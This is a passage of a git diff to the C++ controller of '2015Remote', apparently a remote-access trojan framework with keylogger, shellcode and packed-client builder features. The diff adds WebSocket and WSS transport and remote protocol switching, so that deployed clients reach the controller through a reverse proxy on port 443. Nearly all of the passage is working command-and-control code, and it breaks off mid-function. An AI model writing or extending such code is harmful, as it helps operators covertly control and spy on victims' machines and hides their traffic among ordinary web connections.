b/server/2015Remote/2015RemoteDlg.cpp index d135e14..4689065 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1079,6 +1079,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard) ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable) ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable) + ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp) + ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs) + ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -4619,6 +4622,54 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]); Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]); + // --- 协议切换子菜单:与「实验功能」平级,紧跟在它下面 --- + // 三个单选项:直连 TCP / WS(明文,经反代)/ WSS(TLS,经反代)。当前协议取选中 + // 主机连接的 GetProtocol()——这是连接的真实传输,比客户端自报可信。 + // 没选中主机、或选中的客户端版本没有 COMMAND_SET_PROTO(能力位 + // CLIENT_CAP_PROTO_SWITCH),整组置灰——与「实验功能」等静态子菜单的表现一致。 + CMenu* pExperimentMenu = FindSubMenuByCommand(SubMenu, ID_EXPERIMENT_TLS_ENABLE); + if (pExperimentMenu) { + CString curProto; + int selectedCount = 0; + bool supported = true; + EnterCriticalSection(&m_cs); + POSITION protoPos = m_CList_Online.GetFirstSelectedItemPosition(); + while (protoPos) { + int protoItem = m_CList_Online.GetNextSelectedItem(protoPos); + context* protoCtx = GetContextByListIndex(protoItem); + if (!protoCtx || !protoCtx->IsLogin()) continue; + ++selectedCount; + if (curProto.IsEmpty()) curProto = protoCtx->GetProtocol().c_str(); + if (!protoCtx->SupportsProtoSwitch()) supported = false; + } + LeaveCriticalSection(&m_cs); + + CMenu protoMenu; + if (protoMenu.CreatePopupMenu()) { + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_TCP, _T("直连 TCP")); + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WS, _T("WS(经反向代理,明文)")); + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WSS, _T("WSS(经反向代理,TLS)")); + UINT checked = curProto == _T("WS") ? ID_PROTO_SWITCH_WS + : curProto == _T("WSS") ? ID_PROTO_SWITCH_WSS + : ID_PROTO_SWITCH_TCP; + protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_WSS, + checked, MF_BYCOMMAND); + if (selectedCount == 0 || !supported) { + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_TCP, MF_BYCOMMAND | MF_GRAYED); + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WS, MF_BYCOMMAND | MF_GRAYED); + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WSS, MF_BYCOMMAND | MF_GRAYED); + } + for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) { + if (SubMenu->GetSubMenu(i) == pExperimentMenu) { + // 子菜单句柄交给父菜单,随本地 CMenu 一起销毁 + SubMenu->InsertMenu(i + 1, MF_BYPOSITION | MF_POPUP | MF_STRING, + (UINT_PTR)protoMenu.Detach(), _TR("协议切换")); + break; + } + } + } + } + Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); // ============================================================ @@ -4799,10 +4850,10 @@ void CMy2015RemoteDlg::OnExperimentTlsEnable() return; } // 二次确认:避免误点就切换被控端 TLS。 - // 生效时机因客户端而异:Windows 写注册表、下次启动生效;Linux 落盘后立即热切换并 - // 断开重连(见 client/TlsChannelLinux.cpp 的 TlsReload),正在进行的远程会话会中断。 + // 两平台都是立即生效:客户端收到命令后落盘信任锚(Windows 注册表 / Linux 配置文件)、 + // 热重载 TLS 状态(各平台 TlsChannel 的 TlsReload)并断开重连,正在进行的远程会话会中断。 if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗?\n" - "(Linux 客户端立即生效并断线重连;Windows 客户端下次启动生效)"), + "(客户端立即生效并断线重连,正在进行的远程会话会中断)"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; // 读取服务端证书(信任锚),随启用指令一并下发;客户端写入注册表 settings\tls_cert。 @@ -4835,12 +4886,120 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable() return; } if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗?\n" - "(Linux 客户端立即生效并断线重连;Windows 客户端下次启动生效)"), + "(客户端立即生效并断线重连,正在进行的远程会话会中断)"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; BYTE bToken = COMMAND_TLS_DISABLE; //向被控端发送停用 TLS 传输命令 SendSelectedCommand(&bToken, sizeof(BYTE)); } +// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)---- +// +// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL +// 也不会被外壳注入的 protoType 按回 TCP(见 client/ClientDll.cpp 的 ApplyProtoSwitch)。 +// 新入口 5 分钟内登不上去,客户端自动回退到切换前的入口。 +void CMy2015RemoteDlg::OnProtoSwitchTcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_TCP); } +void CMy2015RemoteDlg::OnProtoSwitchWs() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WS); } +void CMy2015RemoteDlg::OnProtoSwitchWss() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WSS); } + +VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID) +{ + const BYTE proto = nID == ID_PROTO_SWITCH_WS ? (BYTE)PROTO_WS + : nID == ID_PROTO_SWITCH_WSS ? (BYTE)PROTO_WSS + : (BYTE)PROTO_TCP; + const bool restore = (proto == PROTO_TCP); + + // 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃。 + int selected = 0, unsupported = 0; + EnterCriticalSection(&m_cs); + POSITION pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (pos) { + int item = m_CList_Online.GetNextSelectedItem(pos); + context* ctx = GetContextByListIndex(item); + if (!ctx || !ctx->IsLogin()) continue; + ++selected; + if (!ctx->SupportsProtoSwitch()) ++unsupported; + } + LeaveCriticalSection(&m_cs); + if (selected == 0) return; + if (unsupported > 0) { + MessageBoxL(_T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"), + _T("提示"), MB_ICONWARNING); + return; + } + + // WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的 + std::string host; + int port = 0; + std::string certPem; + if (!restore) { + CInputDialog dlg(this); + // 提示语只能用关键信息:IDC_STATIC_INPUT_PROMPT 宽 81 个对话框单位(约 121 px), + // 放不下完整句子,超出的部分会被直接裁掉。 + dlg.Init(_TR("协议切换"), _TR("反代入口(域名:端口):")); + dlg.SetHistoryKey("proto_entry"); + CString lastEntry = THIS_CFG.GetStr("ws", "Entry", "").c_str(); + if (!lastEntry.IsEmpty()) dlg.m_str = lastEntry; + if (dlg.DoModal() != IDOK) return; + CString text = dlg.m_str; + text.Trim(); + int colon = text.ReverseFind(':'); + if (colon <= 0 || colon == text.GetLength() - 1) { + MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING); + return; + } + host = text.Left(colon).GetString(); + port = atoi(text.Mid(colon + 1).GetString()); + if (host.empty() || port <= 0 || port > 65535 || host.size() >= 100) { + MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING); + return; + } + THIS_CFG.SetStr("ws", "Entry", std::string(text.GetString())); // 记住上次入口 + + // WSS 需要客户端持有能校验反代证书的信任锚:随切换指令一起下发。 + // 没有证书就不让切——客户端无锚时会按明文 WS 回退,等于静默降级。 + if (proto == PROTO_WSS) { + if (!ServerTlsIdentity::IsReady()) { + MessageBoxL(_T("服务端未启用 TLS 证书,无法切换到 WSS"), _T("提示"), MB_ICONWARNING); + return; + } + std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary); + if (certFile.is_open()) { + std::ostringstream ss; + ss << certFile.rdbuf(); + certPem = ss.str(); + } + if (certPem.empty()) { + MessageBoxL(_T("读取服务端 TLS 证书失败,无法切换到 WSS"), _T("提示"), MB_ICONWARNING); + return; + } + } + } + + CString confirm = restore + ? _TR("确定把选中主机切回直连 TCP 吗?\n" + "(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)") + : _TR("确定切换选中主机的传输协议吗?\n" + "(客户端立即断线重连,正在进行的远程会话会中断;" + "新入口 5 分钟内连不上将自动回退)"); + // confirm 已是翻译后的文本:MessageBoxL 宏会再做一次 _T() 拼接,不能传变量。 + if (IDYES != MessageBox(confirm, _TR("协议切换"), MB_ICONQUESTION | MB_YESNO)) return; + + // 报文:[COMMAND_SET_PROTO][ProtoSwitchPacket][PEM] + std::vector pkt(1 + sizeof(ProtoSwitchPacket), 0); + pkt[0] = (BYTE)COMMAND_SET_PROTO; + ProtoSwitchPacket* p = (ProtoSwitchPacket*)(pkt.data() + 1); + p->proto = proto; + if (!restore) { + strcpy_s(p->host, host.c_str()); + sprintf_s(p->port, "%d", port); + if (!certPem.empty()) { + p->certLen = (uint32_t)certPem.size(); + pkt.insert(pkt.end(), certPem.begin(), certPem.end()); + } + } + SendSelectedCommand(pkt.data(), (ULONG)pkt.size()); +} + // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 63d923d..e1d4c7e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -545,6 +545,11 @@ public: afx_msg void OnExperimentDrawingBoard(); afx_msg void OnExperimentTlsEnable(); afx_msg void OnExperimentTlsDisable(); + // 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS + afx_msg void OnProtoSwitchTcp(); + afx_msg void OnProtoSwitchWs(); + afx_msg void OnProtoSwitchWss(); + VOID SwitchSelectedProtocol(UINT nID); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 37e11b0..671ae92 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -353,6 +353,7 @@ + @@ -466,6 +467,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 2a652e0..d71107a 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -22,6 +22,7 @@ + @@ -159,6 +160,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 1860a85..fc298ed 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -542,7 +542,14 @@ void CBuildDlg::OnBnClickedOk() g_ConnectAddress.SetAdminId(GetMasterHash().c_str()); g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.runningType = m_ComboRunType.GetCurSel(); - g_ConnectAddress.protoType = m_ComboProto.GetCurSel(); + // 协议值取自 item data(见 OnInitDialog 里的 addProto)。取不到时退回序号,保持旧行为。 + int protoSel = m_ComboProto.GetCurSel(); + if (protoSel >= 0) { + DWORD_PTR protoData = m_ComboProto.GetItemData(protoSel); + if (protoData != (DWORD_PTR)CB_ERR) + protoSel = (int)protoData; + } + g_ConnectAddress.protoType = protoSel; g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel(); memcpy(g_ConnectAddress.pwdHash, GetPwdHash().c_str(), sizeof(g_ConnectAddress.pwdHash)); memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength()); @@ -609,6 +616,8 @@ void CBuildDlg::OnBnClickedOk() File.Close(); CString tip = index == IndexTestRun_DLL ? "\r\n" + _TR("提示: 请生成\"ServerDll.dll\",以便程序正常运行。") : _T(""); tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。") : _T(""); + tip += (g_ConnectAddress.protoType==PROTO_WS || g_ConnectAddress.protoType==PROTO_WSS) ? + "\n" + _TR("提示: WebSocket协议需经反向代理(如nginx 443)转发到主控端口,地址填域名。") : _T(""); std::string upx; int sel = m_ComboCompress.GetCurSel(); if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX(); @@ -835,12 +844,23 @@ BOOL CBuildDlg::OnInitDialog() m_ComboRunType.InsertStringL(RUNNING_PARALLEL, "并发上线"); m_ComboRunType.SetCurSel(RUNNING_RANDOM); - m_ComboProto.InsertStringL(PROTO_TCP, "TCP"); - m_ComboProto.InsertStringL(PROTO_UDP, "UDP"); - m_ComboProto.InsertStringL(PROTO_HTTP, "HTTP"); - m_ComboProto.InsertStringL(PROTO_RANDOM, "随机"); - m_ComboProto.InsertStringL(PROTO_KCP, "KCP"); - m_ComboProto.SetCurSel(PROTO_TCP); + // 协议值挂在 item data 上,不再依赖「下拉框序号 == protoType」。两者目前确实相等, + // 但只要以后有 PROTO_* 常量没进这个下拉框(PROTO_HTTPS 就已经是这种情况), + // 后加项序号与协议值就会错位,而错误的值只会在客户端连不上时才暴露。 + auto addProto = [this](int proto, LPCSTR text) { + // AddString 追加到末尾并返回新条目下标;用它定位,不依赖任何「下标 == 枚举值」约定。 + int idx = m_ComboProto.AddStringL(text); + if (idx >= 0) + m_ComboProto.SetItemData(idx, (DWORD_PTR)proto); + }; + addProto(PROTO_TCP, "TCP"); + addProto(PROTO_UDP, "UDP"); + addProto(PROTO_HTTP, "HTTP"); + addProto(PROTO_RANDOM, "随机"); + addProto(PROTO_KCP, "KCP"); + addProto(PROTO_WS, "WebSocket"); + addProto(PROTO_WSS, "WS+TLS"); + m_ComboProto.SetCurSel(0); m_ComboEncrypt.InsertStringL(PROTOCOL_SHINE, "Shine"); m_ComboEncrypt.InsertStringL(PROTOCOL_HELL, "HELL"); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 22d8250..1ae309a 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -4,6 +4,7 @@ #include "common/IPWhitelist.h" #include "common/IPBlacklist.h" #include "ServerTlsSession.h" +#include "ServerWsSession.h" #include #include @@ -947,26 +948,33 @@ DWORD WINAPI IOCPServer::TlsHandshakeThreadProc(LPVOID lParam) // 注意顺序:解析仍在本线程持有引用期间完成(对象不会在这段窗口里被回收); // 释放引用之后才允许任何可能 RemoveStaleContext 的动作(#215)。 + bool wsTookOver = false; if (ok && !pendingPlain.empty()) { // 与工作线程同样的解压上下文,只是现建现用(首包只解析这一批)。 + // 走 DispatchPlain:WSS 的首个明文就是 "GET /api/ws HTTP/1.1...", + // 由它判定升级并交给 WS 升级线程(此时本线程不能再 PostRecv)。 ZSTD_DCtx* dctx = ZSTD_createDCtx(); z_stream z = {}; inflateInit2(&z, 15); - ok = ctx->IsRemoved.load(std::memory_order_acquire) ? TRUE - : ParseReceivedData(ctx, pendingPlain.data(), (DWORD)pendingPlain.size(), - This->m_NotifyProc, dctx, &z); + int r = ctx->IsRemoved.load(std::memory_order_acquire) ? 1 + : This->DispatchPlain(ctx, pendingPlain.data(), (DWORD)pendingPlain.size(), dctx, &z); inflateEnd(&z); ZSTD_freeDCtx(dctx); - if (!ok) { + if (r < 0) { + ok = false; Mprintf("[TLS] pending first packet parse failed for %s (closing)\n", ctx->GetPeerName().c_str()); + } else if (r == 0) { + wsTookOver = true; } } ctx->IoRefCount.fetch_sub(1); if (ok) { - This->PostRecv(ctx); // 交还 IOCP 接收 + if (!wsTookOver) { + This->PostRecv(ctx); // 交还 IOCP 接收 + } } else { Mprintf("[TLS] handshake failed for %s (fail-closed)\n", ctx->GetPeerName().c_str()); This->RemoveStaleContext(ctx); @@ -1001,6 +1009,146 @@ BOOL IOCPServer::StartTlsHandshake(CONTEXT_OBJECT* ContextObject) ContextObject->IoRefCount.fetch_sub(1); delete ContextObject->tls; ContextObject->tls = NULL; + delete p; // 线程没跑起来,参数(含挪过来的 initial)由本线程释放 + return FALSE; + } + CloseHandle(h); + return TRUE; +} + +// 握手线程参数:把触发判定的首批明文("GET ...")与连接上下文一起移交。 +struct WsHandshakeParam { + IOCPServer* server; + CONTEXT_OBJECT* ctx; + std::vector initial; +}; + +// 与 TlsHandshakeThreadProc 同一模式(方案 A):升级期间用一个阻塞线程独占 socket, +// 完成后把连接交还 IOCP 接收(PostRecv)。线程持有 ctx 的一枚 IoRefCount,结束时释放。 +DWORD WINAPI IOCPServer::WsHandshakeThreadProc(LPVOID lParam) +{ + WsHandshakeParam* p = (WsHandshakeParam*)lParam; + IOCPServer* This = p->server; + CONTEXT_OBJECT* ctx = p->ctx; + std::vector initial = std::move(p->initial); + delete p; + + if (ctx->IsRemoved.load(std::memory_order_acquire)) { + ctx->IoRefCount.fetch_sub(1); + return 0; + } + + // 与 TLS 握手线程相同的 socket 准备工作:尽量切回阻塞,并加超时,避免慢速对端拖住线程。 + u_long nb = 0; + if (ioctlsocket(ctx->sClientSocket, FIONBIO, &nb) == SOCKET_ERROR) + Mprintf("[WS] handshake: ioctlsocket(FIONBIO=0) failed err=%d\n", WSAGetLastError()); + int tmo = 15000; // 15s 升级超时 + setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tmo, sizeof(tmo)); + setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&tmo, sizeof(tmo)); + + // wss = TLS 里的 WebSocket:TLS 会话(若有)在这里只做字节加解密,升级请求与帧都是明文。 + bool tlsReady = (ctx->tlsState.load(std::memory_order_acquire) == TLS_Ready); + std::vector pending; + std::string err; + bool ok = (ctx->ws != NULL) && + ctx->ws->Handshake(ctx->sClientSocket, tlsReady ? ctx->tls : NULL, initial, + pending, ctx->GetPeerName(), &err); + if (!ok) { + Mprintf("[WS] upgrade failed for %s: %s (fail-closed)\n", + ctx->GetPeerName().c_str(), err.c_str()); + } + + bool wsTookOver = false; + if (ok) { + // 反代同机部署时,直接对端是回环地址,升级请求里的转发头才可信;据此把对端地址 + // 改写成真实客户端 IP,使在线列表 / 封禁 / 白名单看到的是设备而不是反代。 + const std::string& fwd = ctx->ws->ForwardedIP(); + if (!fwd.empty()) { + Mprintf("[WS] %s upgraded via reverse proxy, real client %s\n", + ctx->GetPeerName().c_str(), fwd.c_str()); + ctx->SetPeerName(fwd); + + // 两段式限流(与 Go 端 limitDirectPeer / handleConnection 同构)。accept 阶段按 + // getpeername 计的那一次对经反代的连接没有意义:反代同机时对端是回环地址, + // IPWhitelist 对回环恒为 true,黑名单 / 封禁 / 计数全部不生效。真实设备 IP 到 + // 这里才知道,所以在这里按真实 IP 重做一次。直连连接(fwd 为空)在 accept 阶段 + // 已经计过数,不重复计数。 + bool blocked = This->IsIPBlacklisted(fwd); + if (!blocked) { + blocked = This->IsIPBanned(fwd); + if (!blocked) { + This->RecordConnection(fwd); // 超阈值时内部会 BanIP + blocked = This->IsIPBanned(fwd); // 本次连接把计数顶过阈值 + } + } + if (blocked) { + Mprintf("[WS] real client %s rejected by IP ban/rate limit (fail-closed)\n", fwd.c_str()); + ok = false; + } + } + + if (ok) { + ctx->wsState.store(WS_Ready, std::memory_order_release); + + // 升级响应落盘后,同批字节里可能已经有客户端的第一帧(WSS 分批解密时常见)。 + // 必须在交还 IOCP 之前喂给解帧路径,否则要等客户端再发一包——而它正在等我们。 + if (!pending.empty()) { + ZSTD_DCtx* dctx = ZSTD_createDCtx(); + z_stream z = {}; + inflateInit2(&z, 15); + int r = ctx->IsRemoved.load(std::memory_order_acquire) ? 1 + : This->DispatchPlain(ctx, pending.data(), (DWORD)pending.size(), dctx, &z); + inflateEnd(&z); + ZSTD_freeDCtx(dctx); + if (r < 0) { + ok = false; + Mprintf("[WS] first frame dispatch failed for %s (closing)\n", ctx->GetPeerName().c_str()); + } + } + } else { + ctx->wsState.store(WS_None, std::memory_order_release); + } + } else { + ctx->wsState.store(WS_None, std::memory_order_release); + } + + ctx->IoRefCount.fetch_sub(1); + + if (ok) { + This->PostRecv(ctx); // 交还 IOCP 接收 + } else { + This->RemoveStaleContext(ctx); + } + return 0; +} + +// 判定为 WS 升级请求后:CAS 认领状态、创建会话、预支一枚 IoRefCount、启动升级线程。 +BOOL IOCPServer::StartWsHandshake(CONTEXT_OBJECT* ContextObject, const std::vector& initial) +{ + int expected = WS_Undecided; + if (!ContextObject->wsState.compare_exchange_strong(expected, WS_Handshaking, + std::memory_order_acq_rel)) { + return FALSE; // 已有别的线程认领(或状态机异常),不做二次升级 + } + + if (ContextObject->ws == NULL) { + ContextObject->ws = new ServerWsSession(); + } + + WsHandshakeParam* p = new WsHandshakeParam; + p->server = this; + p->ctx = ContextObject; + p->initial = initial; + + // 预支引用:升级线程结束时释放。此引用保证升级期间对象不被回收。 + ContextObject->IoRefCount.fetch_add(1); + + HANDLE h = CreateThread(NULL, 0, WsHandshakeThreadProc, p, 0, NULL); + if (h == NULL) { + ContextObject->IoRefCount.fetch_sub(1); + ContextObject->FreeWs(); + ContextObject->wsState.store(WS_None, std::memory_order_release); + delete p; // 线程没跑起来,参数(含挪过来的 initial)由本线程释放 return FALSE; } CloseHandle(h); @@ -1009,6 +1157,18 @@ BOOL IOCPServer::StartTlsHandshake(CONTEXT_OBJECT* ContextObject) BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z) { + // 握手线程独占 socket(TLS 或 WS 升级期间):正常不应出现 IORead,出现即属异常,fail-closed。 + // 必须放在函数最开头——WSS 升级时 tlsState 已经是 TLS_Ready,若把判断放在 TLS 分支之后, + // 这段字节会先走解密分支再进 DispatchPlain,被当成业务协议解析,同时与握手线程并发读 + // 同一个 socket。放在最前面才能同时覆盖明文与 TLS 两条路径。 + if (ContextObject->wsState.load(std::memory_order_acquire) == WS_Handshaking) { + Mprintf("[WS] unexpected IORead during handshake for %s (closing)\n", + ContextObject->GetPeerName().c_str()); + ContextObject->IoRefCount.fetch_sub(1); + RemoveStaleContext(ContextObject); + return -2; + } + int st = ContextObject->tlsState.load(std::memory_order_acquire); // ---- 未分类:按 ClientHello 头嗅探明文 / TLS(见设计文档 §5.2)---- @@ -1040,15 +1200,21 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans } // 明文:把嗅探阶段攒下的字节回放给现有解析路径,然后清空缓冲。 + // 首包若以 "GET " 开头则由 DispatchPlain 判定为 WebSocket 升级。 ContextObject->tlsState.store(TLS_Plain, std::memory_order_release); std::vector replay = std::move(ContextObject->tlsPreClassify); ContextObject->tlsPreClassify.clear(); - if (FALSE == ParseReceivedData(ContextObject, replay.data(), (DWORD)replay.size(), m_NotifyProc, ctx, z)) { - ContextObject->IoRefCount.fetch_sub(1); - RemoveStaleContext(ContextObject); - return -2; + { + int r = DispatchPlain(ContextObject, replay.data(), (DWORD)replay.size(), ctx, z); + if (r < 0) { + ContextObject->IoRefCount.fetch_sub(1); + RemoveStaleContext(ContextObject); + return -2; + } + if (r > 0) { + PostRecv(ContextObject); + } } - PostRecv(ContextObject); return TRUE; } @@ -1069,16 +1235,20 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans PostRecv(ContextObject); // 本轮无完整明文(TLS 记录分片/握手告警),继续收 return TRUE; } - if (FALSE == ParseReceivedData(ContextObject, plain.data(), (DWORD)plain.size(), m_NotifyProc, ctx, z)) { + int r = DispatchPlain(ContextObject, plain.data(), (DWORD)plain.size(), ctx, z); + if (r < 0) { ContextObject->IoRefCount.fetch_sub(1); RemoveStaleContext(ContextObject); return -2; } - PostRecv(ContextObject); + if (r > 0) { + PostRecv(ContextObject); + } return TRUE; } // TLS_Handshaking:握手线程独占 socket,正常不应出现 IORead;若出现属异常,fail-closed。 + // (WS_Handshaking 在函数开头已判定,不在这里。) if (st == TLS_Handshaking) { Mprintf("[TLS] unexpected IORead during handshake for %s (closing)\n", ContextObject->GetPeerName().c_str()); @@ -1087,13 +1257,126 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans return -2; } - // TLS_Plain:明文直通(原路径)。 - if (FALSE == ParseReceivedData(ContextObject, (PBYTE)ContextObject->szBuffer, dwTrans, m_NotifyProc, ctx, z)) { + // TLS_Plain:明文直通(原路径)。WS 连接在这里先解帧。 + // dwTrans == 0 是对端干净关闭(FIN)。WS 改造前这条分支直接调 ParseReceivedData, + // 它对 dataLen == 0 返回 FALSE 从而拆连接;换成 DispatchPlain 后该语义丢了——0 字节 + // 一路返回 1 → PostRecv,而 FIN 已经消费掉,这条连接就停在 CLOSE_WAIT 里,直到 + // keepalive(3 分钟)才回收(实测:对端 FIN 后连接一直留在 CLOSE_WAIT,进程不空转)。 + // 期间它占着 IOCP 上下文、挂着一枚 WSARecv 和限流槽。这里补回与另外两条分支一致的收尾。 + if (dwTrans == 0) { ContextObject->IoRefCount.fetch_sub(1); RemoveStaleContext(ContextObject); return -2; } - PostRecv(ContextObject); + { + int r = DispatchPlain(ContextObject, (const BYTE*)ContextObject->szBuffer, dwTrans, ctx, z); + if (r < 0) { + ContextObject->IoRefCount.fetch_sub(1); + RemoveStaleContext(ContextObject); + return -2; + } + if (r > 0) { + PostRecv(ContextObject); + } + return TRUE; + } +} + +// 分发一段应用层字节(明文,或 TLS 解密后的明文)。 +// 返回 1 = 已处理完,调用方可以 PostRecv 继续收;0 = WS 升级线程已接管 socket,不要 PostRecv; +// -1 = 出错,调用方关闭连接。 +// +// WS_Undecided 阶段先攒够 6 字节再判定(与 ClientHello 嗅探同样的下限):首个明文分片 +// 可能只有请求头的一部分,按前缀能不能判死都不安全。 +int IOCPServer::DispatchPlain(CONTEXT_OBJECT* ContextObject, const BYTE* data, DWORD len, + ZSTD_DCtx* ctx, z_stream* z) +{ + int ws = ContextObject->wsState.load(std::memory_order_acquire); + if (ws == WS_Ready) { + return DispatchWsFrameData(ContextObject, data, len, ctx, z) ? 1 : -1; + } + if (len == 0) { + return 1; + } + + if (ws == WS_Undecided) { + // WS 有自己的缓冲(该状态机在 HTTPS 升级 / 反代路径上也会用到),不再借 tlsPreClassify。 + ContextObject->wsPreClassify.insert(ContextObject->wsPreClassify.end(), data, data + len); + if (ContextObject->wsPreClassify.size() < 6) { + return 1; // 头还没攒够,继续收 + } + std::vector first; + first.swap(ContextObject->wsPreClassify); + ContextObject->wsPreClassify.clear(); + if (first.size() >= 4 && memcmp(first.data(), "GET ", 4) == 0) { + if (!StartWsHandshake(ContextObject, first)) { + Mprintf("[WS] StartWsHandshake failed for %s (fail-closed)\n", + ContextObject->GetPeerName().c_str()); + return -1; + } + return 0; // 升级线程接管 socket + } + ContextObject->wsState.store(WS_None, std::memory_order_release); + return ParseReceivedData(ContextObject, first.data(), (DWORD)first.size(), m_NotifyProc, ctx, z) ? 1 : -1; + } + + return ParseReceivedData(ContextObject, (PBYTE)data, len, m_NotifyProc, ctx, z) ? 1 : -1; +} + +// 把 WS 帧载荷交给解析路径,同时写回控制帧应答(pong / close 回显)。 +BOOL IOCPServer::DispatchWsFrameData(CONTEXT_OBJECT* ContextObject, const BYTE* wire, DWORD len, + ZSTD_DCtx* ctx, z_stream* z) +{ + if (ContextObject->ws == NULL) { + return FALSE; + } + std::vector app, replies; + int r = ContextObject->ws->Feed(wire, (int)len, app, replies); + if (!replies.empty() && !SendWsReplies(ContextObject, replies)) { + return FALSE; + } + if (r < 0) { + return FALSE; // 协议错误或对端 close + } + if (app.empty()) { + return TRUE; + } + return ParseReceivedData(ContextObject, app.data(), (DWORD)app.size(), m_NotifyProc, ctx, z); +} + +// 写回一段完整的 WS 帧(与 Send2Client 走同一条发送路径:追加到 OutCompressedBuffer, +// TLS 连接只加密本次新追加的尾部,最后按 bSendPending 协议投递 IOWrite)。 +BOOL IOCPServer::SendWsReplies(CONTEXT_OBJECT* ContextObject, const std::vector& replies) +{ + CAutoCLock L(ContextObject->SendLock); + bool tlsReady = (ContextObject->tlsState.load(std::memory_order_acquire) == TLS_Ready); + ULONG oldLen = ContextObject->OutCompressedBuffer.GetBufferLength(); + if 